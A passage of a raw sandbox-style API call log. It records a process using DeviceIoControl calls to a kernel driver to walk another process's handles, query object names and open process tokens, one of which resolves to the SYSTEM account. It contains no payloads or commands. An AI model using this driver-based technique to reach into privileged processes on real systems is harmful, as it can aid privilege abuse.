HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001247ab0, HandleInformation=0x0) returned 0x0 [0112.775] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.775] PsReleaseProcessExitSynchronization () returned 0x2 [0112.775] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0112.775] ObQueryNameString (in: Object=0xfffff8a001247ab0, ObjectNameInfo=0xfffffa800254e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.775] ObfDereferenceObject (Object=0xfffff8a001247ab0) returned 0x1 [0112.775] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.775] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0112.775] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0112.775] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.775] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.775] PsAcquireProcessExitSynchronization () returned 0x0 [0112.775] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0) [0112.775] ObReferenceObjectByHandle (in: Handle=0x5f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001bb0d70, HandleInformation=0x0) returned 0x0 [0112.775] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.775] PsReleaseProcessExitSynchronization () returned 0x2 [0112.775] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0112.775] ObQueryNameString (in: Object=0xfffff8a001bb0d70, ObjectNameInfo=0xfffffa80037aa7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037aa7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.775] ObfDereferenceObject (Object=0xfffff8a001bb0d70) returned 0x1 [0112.775] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.775] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0112.775] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0112.775] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.775] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.775] PsAcquireProcessExitSynchronization () returned 0x0 [0112.775] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0) [0112.775] ObReferenceObjectByHandle (in: Handle=0x604, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00212faf0, HandleInformation=0x0) returned 0x0 [0112.775] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.775] PsReleaseProcessExitSynchronization () returned 0x2 [0112.775] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0112.775] ObQueryNameString (in: Object=0xfffff8a00212faf0, ObjectNameInfo=0xfffffa800207b7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800207b7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.775] ObfDereferenceObject (Object=0xfffff8a00212faf0) returned 0x1 [0112.775] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.776] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0112.776] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0112.776] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.776] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.776] PsAcquireProcessExitSynchronization () returned 0x0 [0112.776] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0) [0112.776] ObReferenceObjectByHandle (in: Handle=0x618, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a002399cd0, HandleInformation=0x0) returned 0x0 [0112.776] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.776] PsReleaseProcessExitSynchronization () returned 0x2 [0112.776] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0112.776] ObQueryNameString (in: Object=0xfffff8a002399cd0, ObjectNameInfo=0xfffffa8001fa37c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa37c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.776] ObfDereferenceObject (Object=0xfffff8a002399cd0) returned 0x1 [0112.776] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.776] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0112.776] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x178) returned 0xc0 [0112.776] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0112.776] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa80018b8060, HandleInformation=0x0) returned 0x0 [0112.776] ObOpenObjectByPointer (in: Object=0xfffffa80018b8060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000970) returned 0x0 [0112.776] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x71 [0112.776] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000970, DesiredAccess=0x8, TokenHandle=0xfffffa8002510600 | out: TokenHandle=0xfffffa8002510600*=0xc8) returned 0x0 [0112.776] ZwClose (Handle=0xffffffff80000970) returned 0x0 [0112.776] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.776] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0112.776] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0112.778] CloseHandle (hObject=0xc8) returned 1 [0112.778] CloseHandle (hObject=0xc0) returned 1 [0112.778] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.778] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0112.778] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.778] PsAcquireProcessExitSynchronization () returned 0x0 [0112.778] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880055905d0) [0112.778] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003006f20, HandleInformation=0x0) returned 0x0 [0112.778] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.778] PsReleaseProcessExitSynchronization () returned 0x2 [0112.778] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0112.778] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800250d7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800250d7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0112.778] ObfDereferenceObject (Object=0xfffffa8003006f20) returned 0x1 [0112.778] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.778] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.778] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.778] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x46, lpOverlapped=0x0) returned 1 [0112.778] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.778] PsAcquireProcessExitSynchronization () returned 0x0 [0112.779] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880055905d0) [0112.779] ObReferenceObjectByHandle (in: Handle=0xc8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003047790, HandleInformation=0x0) returned 0x0 [0112.779] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.779] PsReleaseProcessExitSynchronization () returned 0x2 [0112.779] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0112.779] ObQueryNameString (in: Object=0xfffffa8003047790, ObjectNameInfo=0xfffffa800201d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800201d044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.779] ObfDereferenceObject (Object=0xfffffa8003047790) returned 0x1 [0112.779] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.779] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.779] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.779] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x46, lpOverlapped=0x0) returned 1 [0112.779] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.779] PsAcquireProcessExitSynchronization () returned 0x0 [0112.779] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880055905d0) [0112.779] ObReferenceObjectByHandle (in: Handle=0xcc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003049f20, HandleInformation=0x0) returned 0x0 [0112.779] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.779] PsReleaseProcessExitSynchronization () returned 0x2 [0112.779] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0112.779] ObQueryNameString (in: Object=0xfffffa8003049f20, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.779] ObfDereferenceObject (Object=0xfffffa8003049f20) returned 0x2 [0112.779] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.779] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.779] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.779] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x46, lpOverlapped=0x0) returned 1 [0112.779] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.779] PsAcquireProcessExitSynchronization () returned 0x0 [0112.779] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880055905d0) [0112.779] ObReferenceObjectByHandle (in: Handle=0xd0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003049dd0, HandleInformation=0x0) returned 0x0 [0112.779] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.779] PsReleaseProcessExitSynchronization () returned 0x2 [0112.779] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0112.780] ObQueryNameString (in: Object=0xfffffa8003049dd0, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.780] ObfDereferenceObject (Object=0xfffffa8003049dd0) returned 0x1 [0112.780] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.780] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.780] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.780] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0112.780] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.780] PsAcquireProcessExitSynchronization () returned 0x0 [0112.780] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880055905d0) [0112.780] ObReferenceObjectByHandle (in: Handle=0xf4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030c2490, HandleInformation=0x0) returned 0x0 [0112.780] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.780] PsReleaseProcessExitSynchronization () returned 0x2 [0112.780] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0112.780] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005590508) returned 0x0 [0112.780] ObfDereferenceObject (Object=0xfffffa80030c2490) returned 0x1 [0112.780] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.780] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.780] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.780] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0112.780] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.780] PsAcquireProcessExitSynchronization () returned 0x0 [0112.780] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880055905d0) [0112.780] ObReferenceObjectByHandle (in: Handle=0x12c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030f7dd0, HandleInformation=0x0) returned 0x0 [0112.780] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.780] PsReleaseProcessExitSynchronization () returned 0x2 [0112.780] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0112.780] ObQueryNameString (in: Object=0xfffffa80030f7dd0, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.780] ObfDereferenceObject (Object=0xfffffa80030f7dd0) returned 0x2 [0112.780] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.780] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.781] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.781] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0112.781] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.781] PsAcquireProcessExitSynchronization () returned 0x0 [0112.781] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880055905d0) [0112.781] ObReferenceObjectByHandle (in: Handle=0x130, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030fb070, HandleInformation=0x0) returned 0x0 [0112.781] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.781] PsReleaseProcessExitSynchronization () returned 0x2 [0112.781] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0112.781] ObQueryNameString (in: Object=0xfffffa80030fb070, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.781] ObfDereferenceObject (Object=0xfffffa80030fb070) returned 0x2 [0112.781] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.781] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.781] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.781] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0112.781] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.781] PsAcquireProcessExitSynchronization () returned 0x0 [0112.781] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880055905d0) [0112.781] ObReferenceObjectByHandle (in: Handle=0x134, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030fc6b0, HandleInformation=0x0) returned 0x0 [0112.781] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.781] PsReleaseProcessExitSynchronization () returned 0x2 [0112.781] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0112.781] ObQueryNameString (in: Object=0xfffffa80030fc6b0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.781] ObfDereferenceObject (Object=0xfffffa80030fc6b0) returned 0x2 [0112.781] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.781] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.781] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.781] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0112.781] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.782] PsAcquireProcessExitSynchronization () returned 0x0 [0112.782] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880055905d0) [0112.782] ObReferenceObjectByHandle (in: Handle=0x14c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030ff790, HandleInformation=0x0) returned 0x0 [0112.782] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.782] PsReleaseProcessExitSynchronization () returned 0x2 [0112.782] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0112.782] ObQueryNameString (in: Object=0xfffffa80030ff790, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.782] ObfDereferenceObject (Object=0xfffffa80030ff790) returned 0x2 [0112.782] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.782] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.782] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.782] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0112.782] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.782] PsAcquireProcessExitSynchronization () returned 0x0 [0112.782] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880055905d0) [0112.782] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003100070, HandleInformation=0x0) returned 0x0 [0112.782] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.782] PsReleaseProcessExitSynchronization () returned 0x2 [0112.782] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0112.782] ObQueryNameString (in: Object=0xfffffa8003100070, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.782] ObfDereferenceObject (Object=0xfffffa8003100070) returned 0x2 [0112.782] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.782] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.782] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x184) returned 0xc0 [0112.782] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0112.782] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa80018ba540, HandleInformation=0x0) returned 0x0 [0112.782] ObOpenObjectByPointer (in: Object=0xfffffa80018ba540, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000970) returned 0x0 [0112.783] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13c [0112.783] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000970, DesiredAccess=0x8, TokenHandle=0xfffffa8002510600 | out: TokenHandle=0xfffffa8002510600*=0xc8) returned 0x0 [0112.783] ZwClose (Handle=0xffffffff80000970) returned 